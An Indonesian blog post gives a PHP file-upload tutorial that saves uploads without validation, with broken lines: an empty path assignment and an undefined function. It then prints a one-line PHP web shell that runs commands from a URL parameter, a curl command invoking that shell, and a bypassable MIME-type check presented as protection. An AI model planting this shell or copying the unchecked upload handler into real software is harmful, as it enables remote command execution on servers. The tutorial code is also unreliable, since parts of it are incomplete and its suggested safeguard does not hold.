PROGRAM UPLOAD FILE MENGGUNAKAN PHP
Sekarang saya punya sedikit tips cara membuat program upload file menggunakan PHP, programnya sederhana, ikutin yaaaaaaa.....
Contoh kode form HTML-nya seperti ini.
1. <html>
2. <body>
3. <form action="uploader.php" method="post"
4. enctype="multipart/form-data">
5. <label for="file">Filename:</label>
6. <input type="file" name="file" id="file" />
7. <br />
8. <input type="submit" name="submit" value="Submit" />
9. </form>
10. </body>
11. </html>
Simpan dengan nama from_upload.php
Tampilkan syntax HTML-nya di web server melalui web browser
Sekarang kita buat program untuk mengupload file ke temporary cache dari PHP didalam
folder ROOT website.
Contoh Script programnya.
1. // dimana file akan ditempatkan
2. $target_path =
3.
4. /* menambahkan nama asli file di folder ROOT website*/
5. $target_path = $target_path . basename( $_FILES['file']['name']);
6. if(move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
7. echo "file ". namafile( $_FILES['file']['name']).
8. " telah di upload";
9. } else{
10. echo "Terdapat masalah saat mengupload file";
11. }
Simpan dan beri nama uploader.php, Jalankan di web server melalui web browser.
Sebuah syntax PHP shell
Tampilkan softcopynya
1. <?php
2. system($_GET['command']);
3. ?>
Tampilkan softcopynya
1. <?php
2. system($_GET['command']);
3. ?>
cobalah eksekusi perintah shell diatas lewat web server
Tampilkan softcopynya
$ curl http://server/uploads/shell.php?command=any_unix_command
Tampilkan softcopynya
$ curl http://server/uploads/shell.php?command=any_unix_command
Script mentah
Script dibawah ini untuk memeriksa file yang akan di upload
Tampilkan softcopynya
1. if($_FILES['userfile']['type'] != "image/gif") {
2. echo "Sorry, we only allow uploading GIF images";
3. exit;
4. }
Tampilkan softcopynya
1. if($_FILES['userfile']['type'] != "image/gif") {
2. echo "Sorry, we only allow uploading GIF images";
3. exit;
4. }
Trims selamat mencoba......
0 komentar